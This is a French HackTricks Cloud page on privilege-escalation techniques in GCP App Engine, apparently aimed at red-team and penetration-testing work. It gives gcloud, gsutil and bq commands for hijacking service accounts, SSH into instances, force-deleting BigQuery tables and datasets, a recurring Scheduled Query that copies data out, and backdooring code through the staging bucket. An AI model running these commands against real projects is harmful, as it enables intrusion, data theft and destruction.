GCP - AppEngine Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
App Engine
Pour plus d’informations sur App Engine, consultez :
appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list
Ce sont les permissions nécessaires pour déployer une application en utilisant gcloud cli. Il est possible que les permissions get et list puissent être évitées.
Vous pouvez trouver des exemples de code Python dans https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine
Par défaut, le nom du service App sera default, et il ne peut y avoir qu’une seule instance portant le même nom.
Pour le changer et créer une deuxième application, dans app.yaml, changez la valeur de la clé racine pour quelque chose comme service: my-second-app
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
Attendez au moins 10–15 minutes ; si cela ne fonctionne pas, relancez le déploiement une ou deux fois et attendez quelques minutes.
Note
Il est possible d’indiquer le Service Account à utiliser mais par défaut, l’App Engine default SA est utilisé.
The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com
Mettre à jour les autorisations équivalentes
Vous disposez peut-être des autorisations nécessaires pour mettre à jour un AppEngine mais pas pour en créer un nouveau. Dans ce cas, voici comment vous pouvez mettre à jour l’App Engine actuel :
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
Si vous avez déjà compromis un AppEngine et que vous avez la permission appengine.applications.update et actAs sur le compte de service à utiliser, vous pourriez modifier le compte de service utilisé par AppEngine avec :
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get
Avec ces permissions, il est possible de se connecter via ssh aux instances App Engine de type flexible (pas standard). Certaines des permissions list et get pourraient ne pas être vraiment nécessaires.
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
appengine.applications.update, appengine.operations.get
Je pense que cela modifie simplement le SA d’arrière-plan que google utilisera pour configurer les applications, donc je ne pense pas que vous puissiez abuser de cela pour voler le service account.
gcloud app update --service-account=<sa_email>
appengine.versions.getFileContents, appengine.versions.update
Je ne suis pas sûr de la façon d’utiliser ces permissions ni si elles sont utiles (notez que lorsque vous changez le code, une nouvelle version est créée, donc je ne sais pas si vous pouvez simplement mettre à jour le code ou le rôle IAM d’une version, mais je suppose que vous devriez pouvoir le faire, peut‑être en changeant le code à l’intérieur du bucket ?).
bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)
Pour supprimer des tables, des ensembles de données ou des modèles :
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
Abus de Scheduled Queries
Grâce aux permissions bigquery.datasets.get, bigquery.jobs.create et iam.serviceAccounts.actAs, une identité peut interroger les métadonnées d’un dataset, lancer des jobs BigQuery et les exécuter en utilisant un Service Account disposant de privilèges supérieurs.
Cette attaque permet d’abuser des Scheduled Queries pour automatiser des requêtes (exécutées sous le Service Account choisi), ce qui peut, par exemple, aboutir à la lecture d’informations sensibles et à leur écriture dans une autre table ou dataset auxquels l’attaquant a accès — facilitant une exfiltration indirecte et continue sans avoir à extraire les données hors du système.
Une fois que l’attaquant sait quel Service Account possède les permissions nécessaires pour exécuter la requête voulue, il peut créer une configuration de Scheduled Query s’exécutant avec ce Service Account et qui écrit périodiquement les résultats dans le dataset de son choix.
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
Accès en écriture aux buckets
Comme mentionné les appengine versions génèrent certaines données à l’intérieur d’un bucket avec le format de nom : staging.<project-id>.appspot.com. Notez qu’il n’est pas possible de pre-takeover ce bucket car les utilisateurs GCP ne sont pas autorisés à générer des buckets utilisant le domaine appspot.com.
Cependant, avec un accès read & write à ce bucket, il est possible d’escalader les privilèges vers le SA attaché à la AppEngine version en surveillant le bucket et, à chaque fois qu’un changement est effectué, modifier le code aussi rapidement que possible. Ainsi, le container créé à partir de ce code exécutera le backdoored code.
Pour plus d’informations et une PoC, consultez les informations pertinentes sur cette page :
Accès en écriture au Artifact Registry
Même si App Engine crée des images docker dans Artifact Registry, il a été constaté que même si vous modifiez l’image dans ce service et supprimez l’instance App Engine (donc une nouvelle est déployée), le code exécuté ne change pas.
Il se peut que, en réalisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exécuté, mais cela n’a pas été testé.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

